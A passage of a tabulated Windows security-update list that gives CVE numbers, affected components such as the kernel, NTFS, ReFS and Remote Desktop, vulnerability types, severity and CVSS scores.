Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  